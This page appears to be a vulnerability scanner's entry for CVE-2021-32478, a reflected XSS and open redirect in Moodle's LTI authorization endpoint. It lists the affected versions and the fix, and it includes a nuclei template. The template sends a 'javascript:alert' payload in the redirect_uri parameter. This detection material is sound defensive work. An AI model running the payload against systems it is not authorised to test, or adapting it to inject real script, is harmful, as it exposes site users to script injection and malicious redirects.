Moodle 3.8-3.10.3 - Reflected XSS & Open Redirect

mediumseverity

6.1CVSS score

1.1%likelihood of exploitation, next 30 days

67%of all CVEs are less likely

Readycheck to confirm it

Moodle versions 3.10 to 3.10.3, 3.9 to 3.9.6, 3.8 to 3.8.8 contain a reflected XSS and open redirect caused by insufficient sanitization of the redirect URI in the LTI authorization endpoint, letting attackers execute scripts or redirect users maliciously, exploit requires crafted URL with malicious redirect URI.

Impact

Attackers can inject malicious JavaScript or redirect users to malicious sites via insufficient sanitization in the redirect_uri parameter.

Fix

Upgrade to Moodle version 3.8.9, 3.9.7, or 3.10.4 or later.

How to confirm it

Send: GET {{BaseURL}}/mod/lti/auth.php?redirect_uri=javascript:alert('{{randstr}}')
Positive when: contains "{{randstr}}" and "<form action=\"javascript:alert" AND status 200 AND contains in header "text/html"

Run it with nuclei: nuclei -id CVE-2021-32478 -u <target>

The full check

id: CVE-2021-32478

info:
  name: Moodle 3.8-3.10.3 - Reflected XSS & Open Redirect
  author: hackergautam
  severity: medium
  description: |
    Moodle versions 3.10 to 3.10.3, 3.9 to 3.9.6, 3.8 to 3.8.8 contain a reflected XSS and open redirect caused by insufficient sanitization of the redirect URI in the LTI authorization endpoint, letting attackers execute scripts or redirect users maliciously, exploit requires crafted URL with malicious redirect URI.
  impact: |
    Attackers can inject malicious JavaScript or redirect users to malicious sites via insufficient sanitization in the redirect_uri parameter.
  remediation: |
    Upgrade to Moodle version 3.8.9, 3.9.7, or 3.10.4 or later.
  reference:
    - https://twitter.com/JacksonHHax/status/1391367064154042377
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32478
    - https://moodle.org/mod/forum/discuss.php?d=422314
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-32478
    cwe-id: CWE-79
    epss-score: 0.01128
    epss-percentile: 0.6662
    cpe: cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moodle
    product: moodle
  tags: cve,cve2021,moodle,xss,intrusive,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/mod/lti/auth.php?redirect_uri=javascript:alert('{{randstr}}')"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{randstr}}'
          - '<form action="javascript:alert'
        condition: and

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "text/html"

References

Use this check only on systems you are authorised to test. Where the data comes from